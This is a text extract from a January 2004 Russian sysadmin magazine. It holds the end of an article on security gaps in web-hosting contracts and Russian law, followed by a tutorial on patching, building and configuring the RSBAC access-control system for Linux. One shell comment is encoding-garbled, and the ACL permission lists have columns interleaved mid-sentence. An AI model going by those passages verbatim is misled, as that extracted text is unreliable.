хостинг-провайдерами – весьма распространенная и востребованная
сегодня возможность. В статье рассматриваются вопросы собственной
безопасности для тех, кто воспользовался данной услугой, и то,
насколько это безопасно для других членов сообщества Интернет.

МАКСИМ КОСТЫШИН

46

Возможности сети Интернет для рекламы, публикации
необходимой информации или создания собственного
интернет-магазина активно используются частными ли-
цами, коммерческими компаниями, государственными
организациями. В ряде случаев для организации соб-
ственного сайта или отдельной веб-странички в Интер-
нете юридическим и физическим лицам приходится об-
ращаться за помощью в компании, предоставляющие
услуги так называемого веб-хостинга. Основная при-
чина – финансовая выгодность решения (не надо дер-
жать специально обученный персонал и беспокоиться
о поддержании круглосуточного канала в Интернете, об-
ладающего, кроме всего прочего, достаточной пропус-
кной способностью).
Вопросы безопасности в договорных
документах на услуги хостинга
Анализ значительного количества договоров (было изу-
чено более двадцати типовых договоров) хостинг-провай-
деров (далее по тексту «Провайдеров») как Российской
Федерации, так и стран СНГ, по вопросам, связанным с
обеспечением безопасности при оказании хостинг-услуг,
показал, что в настоящее время эти нюансы практически
не оговариваются. Требования по безопасности в основ-
ном предъявляются к пользователю услуг хостинга (да-
лее по тексту «Абоненту»).
Абоненту предписывается:

ограничивать содержание информации и перечень
программного обеспечения, размещаемых на соб-
ственном сайте, для того, чтобы не нарушать действу-
ющее законодательство;

не предпринимать действий, которые могут повлечь
за собой нанесение ущерба Провайдеру или иным се-
тевым ресурсам при использовании доступа в Интер-
нет, включая попытки несанкционированного доступа.
Требования к Провайдеру обычно ограничиваются
необходимостью обеспечить конфиденциальность учет-
ных записей Абонента (но даже это не всегда).
В некоторых договорах Провайдер откровенно снима-
ет с себя любую ответственность за риски Абонента, ко-
торому он организует все технические составляющие ра-
боты с Интернетом. Если попытаться перечислить возмож-
ные риски, то основные из них следующие:

недополученная прибыль и упущенная выгода, а так-
же любые косвенные убытки, понесенные Абонентом
в период использования или не использования услуг
Провайдера;

задержки, перебои в работе и невозможность полно-
ценного использования собственных ресурсов Абонен-
та, происходящие прямо или косвенно по причине дей-
ствия или бездействия третьих лиц и/или неработос-
пособностью транспортно-информационных каналов,
находящихся за пределами собственных ресурсов
Провайдера;

ошибки в программном обеспечении, наличие вредо-
носных компонентов в используемом на серверах Про-
вайдера и других серверах сети Интернет, если тако-
вое не разработано самим Провайдером.
№1(14), январь 2004
безопасность
Ни в одном из проанализированных договоров не пред-
полагается какая-либо материальная или моральная ком-
пенсация в случаях нанесения ущерба Абоненту при ис-
пользовании услуг хостинга, предоставляемого Провай-
дером. Упоминания об этом, вообще говоря, в договорах
встречаются, однако такие моменты не более чем декла-
рация прав Абонента, которые доказать и, естественно,
использовать будет весьма проблематично. В некоторых
случаях обещания Провайдеров обеспечить необходимые
условия безопасности клиентов носят чисто рекламный
характер и ни на чем не основываются.
Попытаемся перечислить те вопросы, которые каса-
ются обеспечения определенного уровня безопасности
услуг и должны быть подкреплены конкретной, в том чис-
ле финансовой, ответственностью, при соглашениях меж-
ду Провайдером и Абонентом.
1. Доступность канала для обновления сайта (гаранти-
рованная возможность выполнения действий по обнов-
лению Абонентом данных своего сайта).
2. Конфиденциальность информации учетных записей
Абонента (наличие необходимых условий конфиден-
циальности при выполнении действий по идентифи-
кации и авторизации Абонента для случаев обновле-
ния данных сайта).
3. Целостность данных сайта Абонента, а также выпол-
нение Провайдером работ по восстановлению сайта
при авариях.
4. Доступность сайта Абонента из Интернета.
5. Надежность функционирования сайта Абонента, в том
числе с использованием возможностей Провайдера по
круглосуточному мониторингу системы.
Кроме того, обеспечение безопасности клиентов под-
разумевает для Провайдера проработку своих внутрен-
них вопросов, связанных с обеспечением собственной бе-
зопасности. В перечень можно включить следующие за-
дачи:

Установка и использование средств антивирусной за-
щиты.

Проработка решений по обеспечению средствами за-
щиты от сканирования.

Возможность выполнения предварительной фильтра-
ции трафика от спама в случае оказания услуги по раз-
мещению почтового сервера Абонента.

Пресечение возможностей несанкционированного до-
ступа к программному обеспечению и данным, кото-
рые в совокупности обеспечивают работу веб-сайтов
и/или почтовых серверов клиентов.
При заключении договора услуг хостинга необходимо
обращать внимание на дополнительные моменты, такие как:

Максимальный срок восстановления работоспособно-
сти сайта Абонента в случаях аварий.

Возможность проведения Абонентом процедур по те-
стированию надежности своего сайта.

Получение Абонентом (для возможности контроля) до-
стоверной информации о функционировании соб-
ственного сайта, а также данных, которые связаны с
выполнением сторонами договорных обязательств.
47
 безопасность
В случаях заключения договоров по хостингу допол-
нительными гарантиями для обеих сторон могут стать
моменты, связанные с дополнительной защитой своего
бизнеса при использовании услуг страхования.
Обзор нормативной базы
В настоящее время наличие у Провайдеров разрешения
на оказание услуг хостинга не требует выполнения каких-
либо мероприятий по обеспечению безопасности своих
клиентов. В связи с этим, при жесткой конкуренции на
рынке хостинг-услуг, Провайдерам экономически не вы-
годно брать на себя дополнительные риски и в полной
мере решать вопросы защищенности. Тем более что мало
кто из Абонентов при заключении договора поднимает
тему об обеспечении необходимого уровня безопаснос-
ти, а если такие вопросы и возникают, то речь идет боль-
ше о качественной и надежной работе технологического
оборудования Провайдера.
7 июля 2003 г. в Российской Федерации был принят
закон «О связи», который вступает в силу с 1 января 2004
года и устанавливает правовые аспекты деятельности в
области связи. Если в законе «О связи» 1995 года не ого-
варивались вопросы, связанные с обеспечением безопас-
ности при предоставлении услуг связи, то с 2004 года го-
сударством за оператором связи закреплена обязанность
обеспечивать защиту средств и сооружений связи. Пере-
числим только те основные моменты нового закона, ко-
торые имеют отношение к тематике публикации.
Статьи 7, 63, 70 обязывают владельцев предусматри-
вать необходимость обеспечивать защиту средств связи
и сооружений от несанкционированного доступа к ним.
Согласно новому закону операторы связи должны обес-
печить соблюдение тайны связи. Кроме того, для услуг
связи в пределах мировых информационно-телекоммуни-
кационных сетей на территории Российской Федерации
является обязательным «обеспечение экономической,
общественной, оборонной, экологической, информацион-
ной и иных видов безопасности».
В статьях 25 и 64 закона предусматривается ряд мер по
обеспечению оперативно-розыскной деятельности уполно-
моченных государственных органов, которые накладыва-
ют определенные обязательства на операторов связи.
По вопросам оценки уровня безопасности информа-
ционных объектов широко применяется практика исполь-
зования известного международного стандарта ИСО/МЭК
15408:1999 («Общие критерии»). В Российской Федера-
ции этот стандарт (аутентичный перевод) с 2002 года при-
нят в качестве государственного. Вопросы расширения
сотрудничества между странами СНГ, в том числе на рын-
ке продуктов защиты информации, тесно связаны с уни-
фикацией законодательства стран СНГ. Отметим, к при-
меру, что в Республике Беларусь документ, аналогичный
российскому, действует в качестве предстандарта с 2001
года. Однако отсутствие аутентичности белорусского
стандарта подразумевает серьезные сложности для воз-
можности применения механизмов автоматического «до-
верия» в Беларуси заключениям по безопасности других
стран для систем, которые уже прошли проверку (в том
числе в России) на соответствие мировому стандарту.
48
Соответственно и производители сертифицированных
белорусских продуктов столкнутся с трудностями распро-
странения своих систем безопасности на российском
рынке.
Не лишним будет упомянуть в данной статье про Уго-
ловный кодекс Российской Федерации 1996 года. Описа-
нию преступлений в сфере компьютерных технологий в
этом документе выделен отдельный раздел. Статьи, ка-
сающиеся компьютерных преступлений, могут в различ-
ной степени затронуть проблемы недостаточной защи-
щенности сайта клиента хостинг-провайдера при рассмот-
рении объективной стороны преступления, совершенно-
го при работе в сети Интернет.
На настоящее время имеется много вариантов дей-
ствий злоумышленников в Интернете, которые могут быть
квалифицированы как уголовные преступления против
собственности. Множество публикаций сообщают чита-
телям информацию о случаях нарушений систем защиты
или нормальной работы ресурсов в Интернете. Сайты и
корпоративные сети организаций подвергаются DDoS-
атакам с прекращением работы владельца ресурса с Ин-
тернетом на значительные сроки; изменяется содержи-
мое сайтов; производится переадресация обращений к
сайтам, осуществляющих платежные операции, на конт-
ролируемые злоумышленниками ресурсы; имеются фак-
ты откровенного вымогательства, когда шантажисты тре-
буют выплату значительных сумм у владельцев интернет-
ресурсов за отказ от компьютерной атаки.
При этом при расследовании конкретных компьютер-
ных преступлений, которые произошли с использовани-
ем сети Интернет, может устанавливаться лицо, допус-
тившее преступную небрежность или легкомыслие. Если
будет доказано, что объективной стороной преступления
стали деструктивные действия, исходившие с сайта Або-
нента, то лицом, которое устанавливает правосудие, мо-
жет оказаться Провайдер либо Абонент (а возможно, и
обеих договаривавшихся сторон), что повлечет за собой
определенные серьезные последствия.
Заключение
Обеспечение безопасной работы с Интернетом является
серьезной задачей, однако внимание к этому вопросу на
уровне услуг, предоставляемых операторами связи, пока
недостаточное. Необходимые задачи по обеспечению за-
щиты информации при хостинг-услугах могут быть реше-
ны только усилиями и желанием Провайдеров.
Принятие нового закона «О связи» Российской Феде-
рации в 2004 году должно подтолкнуть российских интер-
нет-провайдеров, а затем и провайдеров других стран СНГ
к цивилизованному решению вопросов защиты информа-
ции и ресурсов своих клиентов, а также предусматривает
контроль за исполнением необходимых требований со
стороны государства.
Серьезное влияние на положительные сдвиги в области
защиты информации при работе с Интернетом могут ока-
зать также те, кто пользуется услугами хостинга, так как на-
личие на рынке спроса на безопасный хостинг может заста-
вить провайдеров предпринять более активные шаги в воп-
росах обеспечения безопасности своих клиентов.
администрирование

RULE SET BASED ACCESS CONTROL

ДЛЯ LINUX

СЕРГЕЙ ЯРЕМЧУК

50

Linux-системы, как многие другие в Unix-семействе,
имеют известный недостаток в управлении доступом.
Прежде всего это малое количество контролируемых
прав доступа, состоящих в разрешении чтения, записи
и возможности выполнения, и права эти можно устано-
вить только для владельца файла, членов группы вла-
дельца и всех остальных. Иногда очень трудно вмес-
тить в предложенные ограничения даже пару десятков
человек, при этом требуются более широкие возмож-
ности по описанию доступа к конкретному файлу. До-
полнительно все программы, работающие от имени
пользователя, имеют такие же права, как и сам поль-
зователь, при этом совсем не учитывается важность
самого объекта и вообще сама необходимость работы
программы с ним. Сам пользователь файла решает,
являются ли данные файлы секретными или будут дос-
тупными остальным пользователям. Отсюда получает-
ся, что запущенная от имени суперпользователя про-
грамма имеет неограниченные возможности в системе
и доступ к любому объекту (эту модель еще называют
одноуровневой). Все хорошо, пока она не скомпроме-
тирована, и тогда такое упрощение становится уже
большим недостатком. Такая модель доступа называ-
ется Discretionary Access Control (DAC) и позволяет со-
здавать системы, защищенные по классу С1.
Естественно, сложившаяся ситуация не могла остать-
ся нерешенной и было начато несколько различных про-
ектов, в которых предлагался свой вариант решения дан-
№1(14), январь 2004
администрирование
ной проблемы. Об одном из них я уже писал в статье о
SELinux в майском номере журнала. В данной разработ-
ке использована Role-Based Access Control (RBAC) мо-
дель доступа, позволяющая администратору определить
роли и объекты в системе, к которым эти роли могут об-
ращаться. Достаточно сказать, что в новое ядро версии
2.6 данная технология включена по умолчанию. Но дан-
ное решение не обладает достаточной гибкостью, и его
удобнее все-таки использовать для создания специали-
зированых решений. Второй проект, о котором уже го-
ворилось на страницах журнала, – LIDS, позволяющий
ограничить возможности пользователей (в том числе и
root), но в некоторых вопросах только глобально, без «ин-
дивидуального» подхода.
Сегодня пойдет речь о проекте RSBAC (Rule Set Based
Access Control), домашняя страница http://www.rsbac.org,
который предлагает свой взгляд на решение проблемы
разграничения доступа пользователей.
Архитектура RSBAC
RSBAC представляет собой гибкую, мощную и откры-
тую модель управления доступа для ядра Linux, первая
устойчивая версия 1.0.9а появилась на свет в январе
2000 года. Сам проект полностью не зависим от прави-
тельств и больших компаний и разрабатывается по ли-
цензии GPL. Базируется RSBAC на архитектуре GFAC
(Generalized Framework for Access Control Approach),
предложенной Abrams и LaPadula. Основной особеннос-
51
 администрирование
тью предложенной системы была блочная структура,
при которой каждый модуль реализует свою собствен-
ную модель защиты, что позволяет более гибко их ис-
пользовать, отключая или включая нужный, и исполь-
зовать одновременно несколько разных моделей защи-
ты без конфликтов и противоречий между ними. Со-
гласно подходу GFAC, предполагается разделение на
три основных функциональных блока: AEF (Access
Enforcement Facility) модуль, транслирующий системные
вызовы в запросы на доступ, ADF (Access Decision
Facility) осуществляет принятие решения и возвраща-
ет ответ (или ошибку), который при помощи модуля ACI
(Access Control Information) транслируется в системный
вызов. Также и в RSBAC система управления доступа
ядром разделена на AEF- и ADF-компоненты и модуль
ACI, все компоненты при этом жестко связаны в ядре.
Сам ADF может состоять из нескольких модулей поли-
тик защиты, каждый из которых может подключаться/
отключаться динамически, по мере необходимости
обеспечивая требуемые задачи и гибкость в конфигу-
рировании. В текущей версии 1.2.2 в комплекте имеет-
ся 12 модулей, реализующих восемь политик:
MAC – Mandatory Access Control, разработанная в 1973
году модель Bell La Padula. В системе выделяется множе-
ство объектов и множество субьектов, субъекты пытают-
ся получить доступ к объектам, а система позволяет или
не позволяет им это. Ее рекомендуется использовать,
когда вы нуждаетесь в концептуально доказанной моде-
52
ли для осуществления конфиденциальности, но ее весь-
ма трудно использовать в типичной Unix-среде, так как
придется описывать большое количество правил для каж-
дого пользователя и программы. Возможен упрощенный
вариант RSBAC MAC-Light.
FC – Functional Control. Простая роль-основанная мо-
дель, которая может использоваться, чтобы ограничить
доступ к информации о безопасности. При этом каждо-
му пользователю назначается определенная роль (офи-
цер безопасности, системный администратор, обычный
пользователь), а каждому объекту в свою очередь на-
значается категория (системный, секретный объект).
Офицер безопасности определяет, какой роли можно об-
ращаться к какой категории. Сейчас полностью вытес-
нена RC-моделью, параметры по умолчанию которой
очень похожи на FC.
SIM – Security Information Modification. Эта ролевая
модель контролирует доступ к данным типа защитная
информация. Доступ на запись к этим объектам могут
получить только пользователи с ролью офицера безо-
пасности. Сейчас полностью может быть заменена RC-
моделью.
PM – Privacy Model. Модель секретности Симон Фи-
шер-Хубнера. Контролируемые данные могут быть за-
щищены, только если они будут объявлены как персо-
нальные данные, поэтому может быть использована для
хранения и обработки персональных данных, для сис-
темных данных должна использоваться другая модель.

MS – Malware Scan. Это не совсем модель контроля
доступа, MS представляет собой средство предотвраще-
ния заражения инфицированным кодом. Сейчас по при-
чине малого количества вирусов представляет собой де-
монстрационную модель.
FF – File Flags. Модель определяет некоторые флаги
доступа к файлам, которые может изменять лишь пользо-
ватель с system_role «security officer». Это execute_only
(files), read_only (files и dirs), search_only (dirs),
secure_delete (files), no_execute (files), add_inherited (files
и dirs), no_rename_or_delete (files и dirs, no inheritance) и
append_only (files и dirs).
RC – Role Compatibility. Роль-основанная модель, при
которой каждый пользователь имеет заданную по умол-
чанию роль, которая наследуется всеми его процесса-
ми. На основании текущей роли доступ к объектам не-
которых типов будет предоставлен или отклонен. Роль
может быть изменена со сменой владельца процесса,
процессом через системный вызов (только «совмести-
мые» роли) или выполнением специально отмеченной
выполнимой программы (использованием initial_role или
force_role).
AUTH – Authorization Enforcement. Можно рассматри-
вать как модуль поддержки, который контролирует вы-
зов смены владельцев для процессов (CHANGE_OWNER)
и разрешает смену процессам только с разрешенными
uid и если при этом процесс имеет установленный флаг
auth_may_setuid.
ACL – Access Control Lists. Списки контроля доступа,
определяющие, какой субъект (пользователь, роль RC
или группа ACL) может иметь доступ к какому объекту и
с каким запросом (обычные запросы RSBAC или специ-
альные ACL).
САР – Linux Capabilities. Для всех пользователей и
программ можно определять минимальный и макси-
мальный набор возможностей Linux («возможность ус-
тановки специального права root»). При этом парамет-
ры настройки программы отменяют параметры настрой-
ки пользователя, и минимальные настройки отменяют
максимальные параметры настроек. Это позволяет вы-
полнять программы сервера от имени обычного пользо-
вателя или ограничивать права программ с установлен-
ным suid. Это единственный модуль RSBAC, который
непосредственно сталкивается с существующим управ-
лением доступа Linux.
JAIL – Process Jails. Этот модуль добавляет новый
системный вызов rsbac_jail, который делает запрос
chroot и добавляет дальнейшие ограничения на процесс
запроса и все подпроцессы. Все jail-процессы можно
найти в /proc/rsbac-info/jails (при включенном RSBAC
proc support).
RES – Linux Resources. Для всех пользователей и
программ определяется минимальный и максимальный
Linux-набор ресурсов процессов (например, размер па-
мяти, число открытых файлов, число процессов пользо-
вателя).
Кроме встроенных моделей, имеется модуль REG
(Module Registration), обеспечивающий интерфейс для ре-
гистрации вашего собственного модуля решения, кото-
№1(14), январь 2004
администрирование
рый может быть, но необязательно, реализован как мо-
дуль ядра Linux. Он допускает регистрацию для всех уме-
стных запросов к коду решения так же, как для запросов
обслуживания к выполнению структуры данных. Приме-
ры модуля ядра можно найти в rsbac/adf/reg/adf_sample*.c.
Разработчики уверяют, что RSBAC был проверен с мно-
гими параметрами конфигурации ядра и другими патча-
ми, хотя стопроцентной гарантии не дают, но поддержи-
ваются такие патчи, направленные на повышение защи-
ты, как FreeS/WAN, OpenWall и GRSecurity. Из приложе-
ний поддерживаются практически все, направленные на
серверные решения (samba, bind, qmail, postfix), VNC,
(Open)SSH и даже X-Window (для поддержки последней
необходимо включить опцию X support), что позволяет
использовать данную систему на клиентских компьюте-
рах. Независимость реализации от конкректной файло-
вой системы означает нормальную работу в любой из
поддерживаемых Linux: minix, ext2/3fs, ReiserFS (без про-
верки номера inode и secure_delete), xfs и vfat (хотя ис-
пользовать последнюю и первую по крайней мере несе-
рьезно). Из дополнительных возможностей следует от-
метить поддержку SMP (что позволяет использовать на
мощных серверах), loopback mounts (для шифрования).
Установка
Для работы нам понадобятся:

дополнительные расширения к ядру: rsbac-*.tar.gz;

патч к ядру: patch-*.gz;

утилиты администрирования: rsbac-admin-*.tar.gz.
А также само ядро с ftp.kernel.org, хотя можно обой-
тись и без самостоятельного наложения патча, а взять уже
готовое ядро с ftp://rsbac.cz/mirrors/rsbac.org/kernels/. Из
уже подготовленных ядер имеются версии ветки 2.2, 2.4
и современные 2.6-test, так что выбирать тоже есть из
чего. Мы же будем рассматривать все с самого начала,
хотя здесь нет чего-то особенного. Единственное, на что
необходимо обратить внимание, – соответствие версий
патча версии ядра и версий расширения к ядру и утилиты
администрирования, т.е. в обозначении, например, тако-
го патча patch-2.4.22-v1.2.2.gz, первые цифры 2.4.22 оз-
начают ядро, а 1.2.2 – версию расширений.
Распаковываем архив с ядром.
# tar xvjf linux-2.4.22.tar.bz2
Переходим в образовавшийся каталог.
# cd linux
Распаковываем остальные архивы и накладываем на
ядро патч.
# tar xvjf ../rsbac-v1.2.2.tar.bz2
Примечание: в старых версиях утилиты (до 1.0.9a)
можно найти патчи также и внутри этого архива.
# gzip -dc ../patch-2.4.22-v1.2.2.gz | patch -p1
53
 администрирование
Это обязательная программа, т.к. при работе пользо-
ватели часто сталкиваются с ошибками, все исправле-
ния которых представлены в bugfixes. Поэтому имеет
смысл ознакомиться с ними и пропатчить ядро для их ус-
транения.
# wget -c http://www.rsbac.org/bugfixes/rsbac-bugfix-v1.2.1-1.diff
# patch -p1 < rsbac-bugfix-v1.2.1-1.diff
И теперь конфигурируем ядро:
# make menuconfig
При этом в меню появляется еще один пункт, назван-
ный «Rule Set Based Access Control», активировав ко-
торый, можно получить компьютер, защищенный по
классу В1. Большинство опций документированы, ос-
тановлюсь лишь на интересных. Для изучения незаме-
нимой является опция RSBAC soft mode, позволяющая
отключать режим управления доступом при загрузке,
передавая параметр ядру rsbac_softmode (просмотреть
текущий режим можно, прочитав /proc/rsbac-info/
{stats|debug}). При серьезных проблемах, когда нельзя
добраться до системы вообще, может понадобиться
ядро с включенным параметром «RSBAC maintenance
kernel» (CONFIG_RSBAC_MAINT), в котором отключа-
ются все RSBAC-модули (чтобы избежать проблем при
обслуживании, лучше отключить поддержку сети в та-
ком ядре). При включенной опции «RSBAC proc support»
в каталоге /proc появляется подкаталог rsbac-info, со-
держащий статистику по работе RSBAC (подробнее в
README-proc) и позволяющий читать и записывать па-
раметры некоторых настроек, но после проведения эк-
спериментов все же лучше данный параметр отключить,
зачем давать нападающему лишнюю информацию об
используемой защите. Опция Inherit as default
(CONFIG_RSBAC_DEF_INHERIT) позволяет автомати-
чески наследовать файлам и каталогам дополнитель-
ные параметры вроде security_level, data_type. Опция
Support secure delete (CONFIG_RSBAC_SECDEL) позво-
лит удалять файлы безвозвратно, в настоящее время
безопасное удаление поддерживают только модули FF
(файлы, помеченные как ff_flag secure_delete) и PM (для
файлов, помеченных как personal data), при этом остав-
шееся место заполняется нулями, поддерживаются фай-
ловые системы ext2, minix, msdos и vfat, включение дан-
ной опции несколько замедляет работу файловой сис-
темы. RSBAC extra statistics (CONFIG_RSBAC_XSTATS)
появляется дополнительная статистическая информа-
ция, которую можно прочесть в /proc/rsbac-info/xstats.
Log full path позволит заносить полное имя файла в
журнал, иначе в нем будет прописано только имя фай-
ла, доступ к которому протоколируется. Для работы нео-
бязательно включать все модули, оставьте те, которые
вам действительно нужны, остальные не трогайте, так
как использование RSBAC, естественно, влияет на про-
изводительность системы, и чем больше будет прове-
рок, тем больше это будет сказываться на общей про-
изводительности. По результатам тестов, которые мож-
но посмотреть на http://www.rsbac.org/benchmark.htm,
54
максимально возможная потеря производительности
составляет меньше 10 процентов. Например, я исполь-
зую модули auth, MAC, RC и ACL. Хотя в некоторых слу-
чаях бывает достаточно PM или FF. Для каждого обя-
зательно включите параметр «имя_модуля protection for
AUTH module», остальные, как правило, можно и не
трогать.
Чтобы получить новое расширение -rsbac вводим:
# touch Makefile
И компилируем ядро:
#make dep bzImage modules modules_install
Копируем получившееся ядро в /boot и конфигуриру-
ем загрузчик.
До версии 1.0.9b перед загрузкой с новым ядром не-
обходимо было обязательно установить утилиты адми-
нистрирования rsbac-admin, при этом создавался ката-
лог /rsbac для каждой примонтированной файловой сис-
темы со специальным файлом useraci. Сейчас данный ка-
талог автоматически создается ядром, а при отсутствии
файла useraci используются настройки по умолчанию.
Но почему бы не установить утилиты сейчас. Для это-
го распаковываем их в любой каталог.
# tar xvzf rsbac-admin-v1.2.2.tar.gz.
# cd rsbac-admin-v1.2.2
# ./configure (åñëè èñïîëüçóåòñÿ ÿäðî, íàõîäÿùååñÿ â êàòàëîãå,
îòëè÷íîì îò /usr/src/linux, åãî ìåñòîíàõîæäåíèå óêàçûâàåì
ïðè ïîìîùè –with-kerneldir)
# make && make install
Примечание: для работы очень желательна утилита
dialog не ниже версии 0.9, ее взять можно тут же на
http://www.rsbac.org/dialog/dialog-0.9b-20020814.tar.gz.
И теперь нужно создать две дополнительные учет-
ные записи. Первая – офицер безопасности – secoff
(security officer/RC role admin/ACL Supervisor), и в файле
/etc/passwd установить его uid равным 400. И если вы
будете использовать модуль privacy module (PM), то и
офицер защиты информации – dataprot (data protection
officer) с uid 401. Которые теперь понадобятся для адми-
нистрирования – root уже не будет достаточно. При
необходимоcти изменить заданные по умолчанию числа
uid, это можно сделать в макросах RSBAC_SECOFF_UID
и RSBAC_DATAPROT_UID в include/rsbac/types.h. Или при
конфигурировании ядра в соответствующих опциях.

Все теперь готово для первой загрузки, при которой
система выдаст большое количество сообщений о не-
возможности запуска тех или иных сервисов. Интерес-
но, что теперь в систему может попасть пока только root,
и все потому, что программа входа в систему /bin/login
имеет недостаточные права изменить владельца процес-
са (setuid). Но root в данном случае уже абсолютно бес-
полезен, он может по-прежнему запускать сервисы, мон-
тировать диски, т.е. заниматься непосредственно адми-
нистрированием системы, а вот изменить доступ к про-
граммам уже не может. Все это теперь возложено на пле-
чи совсем другого пользователя – secoff. Причем сме-
нить root на этого пользователя тоже не удастся.
bash-2.05b# su secoff
setuid: Operation not permitted
Для того чтобы разрешить смену uid, загружаемся с
параметром rsbac_auth_enable_login (все остальные пара-
метры описаны в файле README-kernparam). Устанавли-
вать параметры файлов можно при помощи команд (выз-
ванные без параметров, они выдают справку) или, что бо-
лее наглядно, при помощи меню. Первоначально меню
можно сконфигурировать, используя rsbac_settings_menu.
Теперь устанавливаем параметры файла /bin/login и не-
запустившихся демонов, для этого используем команду
rsbac_fd_menu имя_программы или rsbac_menu и далее
выбираем нужный файл. Обратите внимание, сколько по-
явилось дополнительных параметров у файлов, но ра-
ботают только те, которые соответствуют запущенным
модулям. За сменой uid, как вы помните, следит модуль
auth, для того чтобы этот модуль «не замечал» смену
uid процессом на любой, у него должен быть установлен
параметр auth_may_setuid, установку которого и надо
проконтролировать для /bin/login, после чего уже можно
загружаться и входить в систему в обычном режиме. Для
демонов же лучшим вариантом будет жестко зафикси-
ровать uid, на которые может переходить процесс, запу-
щенный от его имени. Для этой цели воспользуемся па-
раметром auth_capabilities, который позволяет задать
список (или диапазон) допустимых uid, на которые мо-
жет переходить программа. А узнать, какой uid требует-
ся каким процессам, очень просто, открываем под root
системные логи (secoff туда не пускают) и ищем подоб-
ные сообщения:
№1(14), январь 2004
администрирование
Oct 31 22:58:13 stas kernel: rsbac_adf_request(): request
CHANGE_OWNER, caller_pid 89, caller_prog_name sendmail,
caller_uid 0, target-type PROCESS, tid 89, attr owner, value
15, result NOT_GRANTED by AUTH
В которых говорится, что процесс с именем sendmail бе-
зуспешно пытался сменить (CHANGE_OWNER) свой те-
кущий uid с 0 на value 15 и получил от ворот поворот от
AUTH. Теперь осталось добавить uid 15 в список
auth_capabilities для программы sendmail, после чего про-
блем с его запуском уже не будет.
Теперь для полноценной работы давайте познакомим-
ся с возможностями некоторых модулей поподробнее.
Модуль FF
Нравится мне своей простотой и возможностями одно-
временно. Его удобно использовать, когда необходимо
просто добавить некоторые дополнительные флаги для
файлов, каталогов и каналов FIFO, глобально для всех
пользователей, не сильно утруждая себя работой с более
сложными моделями. При включении данного модуля по-
является возможность установить еще деcять дополни-
тельных параметров:

execute_only – (для FILE, FIFO, SYMLINK) возможно
только исполнение;

search_only – (DIR) обеспечивается полное закрытие
каталога от проникновения;

read_only – (FILE, FIFO, SYMLINK, DIR) возможно толь-
ко чтение;

write_only – (FILE, FIFO, SYMLINK) возможна только
запись (но не чтение), применив данный флаг к ка-
талогу /var/log, в котором находятся файлы журна-
лов, при наследовании (см. ниже) мы не сможем их
прочесть;

secure_delete – (FILE) безопасное урезание и удале-
ние, при котором освобожденное место заполняется
нулями (только для ext2, ext3, msdos/vfat, minix);

no_execute – (FILE) возможно что угодно, только не вы-
полнение, назначив этот флаг на пользовательский
каталог /home, мы лишим их возможности запуска сво-
их программ;

no_delete_or_rename – (FILE, FIFO, SYMLINK, DIR)
нельзя удалять или переименовывать отмеченные та-
ким образом файлы и каталоги;

append_only – (FILE, FIFO, SYMLINK) доступ на запись
ограничен только APPEND_OPEN и WRITE, на чтение
доступ разрешен, установив данный флаг на каталог
с файлами журналов, вы сможете дописывать в них
информацию и читать;

add_inherited – (FILE, FIFO, SYMLINK, DIR) если уста-
новлен, то к собственным флагам объекта будут до-
бавлены и флаги родительского каталога, при этом
он включен по умолчанию для всех, кроме флагов
no_delete_or_rename и add_inherited, которые всегда
должны быть установлены явно;

no_mount – запрещает монтировать устройство.
Эти флажки проверяются при каждом доступе к дан-
ным целевым типам, и только пользователи в sys-
tem_role «security officer» могут изменять флажки. Ат-
55
 администрирование

READ – чтение;

READ_ATTRIBUTE – чтение атрибутов RSBAC;

READ_WRITE_OPEN – открыть для чтения и записи;

READ_OPEN – открыть для чтения;

RENAME – переименование;

SEARCH – поиск;

TRUNCATE – усечение файла;

UMOUNT – размонтирование файловой системы;

WRITE – разрешена запись;

WRITE_OPEN – разрешено открытие файла для записи;

MAP_EXEC – выполнение.

рибуты независимы друг от друга и разграничены, т.е.

все атрибуты, которые установлены, будут применены,
например, execute_only и no_execute вместе (или
read_only и write_only) не ведут ни к какому доступу.
Или, установив на каталоге флаги search_only и
execute_only, вы можете производить поиск файлов (не
чтение) в каталоге и запускать файлы на выполнение,
и больше ничего. Имеет смысл установить для катало-
гов /sbin, /bin, /usr/sbin, /usr/bin и других, содержащих
исполняемые файлы, флаги search_only и read_only,
позволим тем самым обращаться к файлам, зная пол-
ный путь и запретив изменять находящиеся внутри
файлы, или, имея только двоичные файлы, установить Это для обычных файлов и каталогов, для процессов
для них флаг execute_only, позволив лишь только за- и сетевых устройств есть и специфические параметры:
пуск на исполнение и ничего более и защитив их от
ADD_TO_KERNEL – добавлять модуль в ядро;
подделки. По-моему, по сравнению со стандартной мо-
ALTER – изменить контрольную информацию для IPC;
делью у сисадминов появилось больше возможности
CHANGE_GROUP – сменить группу;
контролировать доступ. Но, например, если необходи-
CLONE – клонировать процесс (fork/clone);
мо контролировать доступ с точностью до миллиметра,
REMOVE_FROM_KERNEL – удалить модуль из ядра ;
этого будет явно недостаточно, в этом случае в самый
MODIFY_SYSTEM_DATA – изменить системные данные;
раз придется следующий модуль.
SEND_SIGNAL – послать сигнал;

SHUTDOWN – остановка или перезагрузка системы;
Модуль ACL
SWITCH_LOG – изменять параметры протоколирова-
Заходим в пункт меню «ACL Menu: Go to ACL menu», где ния RSBAC;
переходим к «Change Mask». А теперь для каждого файла
SWITCH_MODULE – включать и выключать модули;
можно выбрать еще 25 параметров, причем можно отдель-
TERMINATE – запрос на окончание процесса (exit());
ным пунктом включить сразу все относящиеся к security
TRACE – трассировка процесса (ptrace());
или системным параметрам:
BIND – связать сетевой адрес и порт с локальным со-

APPEND_OPEN – открывать для добавления; кетом или сетевым устройством;

CHANGE_OWNER – сменить владельца;

CHDIR – сменить рабочий каталог;

CLOSE – запрос на закрытие;

CREATE – запрос на создание;

DELETE – запрос на удаление;

EXECUTE – запрос на запуск;

GET_PERMISIONS_DATA – прочитать права Unix (mode);

GET_STATUS_DATA – получить информацию о файле
(stat() и пр.);

LINK_HARD – создать жесткую ссылку;

MODIFY_ACCESS_DATA – изменить информацию о
времени доступа; время, дата (utimes ());

MODIFY_ATTRIBUTE – изменить атрибуты RSBAC;

MODIFY_PERMISSIONS_DATA – изменить права UNIX;

MOUNT – монтирование файловой системы;

56


LISTEN – слушать локальный сокет listen();

ACCEPT – прием подключения от сети accept();

CONNECT – соединение с удаленной сетью connect();

SEND – посылка сообщения удаленной сети send();

RECEIVE – получение сообщения от удаленной сети
recv();

NET_SHUTDOWN – остановка локального socket.
Теперь, выбрав какой-нибудь каталог, устанавливаем
на него необходимые атрибуты. Эти атрибуты будут дей-
ствовать на всех пользователей. А для того чтобы предо-
ставить исключительные права на созданный каталог или
файл отдельному пользователю или группе пользовате-
